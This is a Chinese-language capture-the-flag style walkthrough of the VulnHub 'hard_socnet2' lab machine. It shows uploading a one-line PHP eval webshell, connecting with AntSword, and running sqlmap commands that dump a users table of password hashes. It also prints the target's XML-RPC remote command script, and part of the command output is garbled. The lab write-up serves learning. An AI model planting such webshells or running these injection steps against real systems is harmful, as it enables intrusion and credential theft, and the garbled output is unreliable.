红队打靶之VulnHub_hard_socnet2

  1. 主机发现
  2. 文件上传
  3. 蚁剑上线
  4. sql注入

我曾在很多地方表达过一个观点,那就是渗透不只是WEB渗透,安全技术还包含很多领域。
因此本周我选择了一台高难度的靶机,具体涉及逆向、动态调试、代码审计、漏洞利用代码编写等内容。
课程时长超过140分钟,请大家做好克服困难的准备!

靶机地址: https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

难度等级: 高

打靶目标: 取得 root 权限

参考链接:

https://docs.python.org/zh-cn/3/library/xmlrpc.html

涉及攻击方法:

CVE-2021-3493

XMLRPC

逆向工程

动态调试

缓冲区溢出

漏洞利用代码编写

主机发现

文件上传

#https://www.yuque.com/antswordproject/antsword/mqgcsn 蚁剑使用手册

新创建一个webshell文件并上传

1
<?php eval($_POST['ant']); ?>

蚁剑上线

拿下shell

sql注入

bp抓包

1
2
3
4
5
6
7
8


vi r # 新文件


sqlmap -r r -p query


sqlmap -r r -p query –dbs

sqlmap -r r -p query -D socialnetwork –tables

sqlmap -r r -p query -D socialnetwork -T users –columns

sqlmap -r r -p query -D socialnetwork -T users -C user_password,user_email –dump

看到一堆hash

自动帮我们解密

1
2
3
4
5
6
7
8
9
4 entries]
+---------------------------------------------+------------------------+
| user_password | user_email |
+---------------------------------------------+------------------------+
| 202cb962ac59075b964b07152d234b70 (123) | admin@1.com |
| 202cb962ac59075b964b07152d234b70 (123) | admin@123.com |
| 21232f297a57a5a743894a0e4a801fc3 (admin) | admin@localhost.com |
| 5d9c68c6c50ed3d02a2fcf54f63993b6 (testuser) | testuser@localhost.com |
+---------------------------------------------+------------------------+
1
2
3
4
5
6
7
 lsb——release -a
No LSB modules are available.
Distributor ID:Ubuntu
Ubuntu 18.04.1 LTSDescription:
18.04
Release:
codename :bionica.natalugr'uhtm]idsts/imgnocinrofi1gc)

查看一下 monitor.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
my remote server management API                                                                                                                                             
import SimpleXMLRPCServer
import subprocess
import random
debugging_pass = random.randint(1000,9999)
def runcmd(cmd):
results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = results.stdout.read() + results.stderr.read()
return output
def cpu():
return runcmd("cat /proc/cpuinfo")
def mem():
return runcmd("free -m")

def disk():
return runcmd("df -h")

def net():
return runcmd("ip a")

def secure_cmd(cmd,passcode):
if passcode==debugging_pass:
return runcmd(cmd)
else:
return "Wrong passcode."
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
server.serve_forever()

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 jaytp@qq.com

💰

×

Help us with donation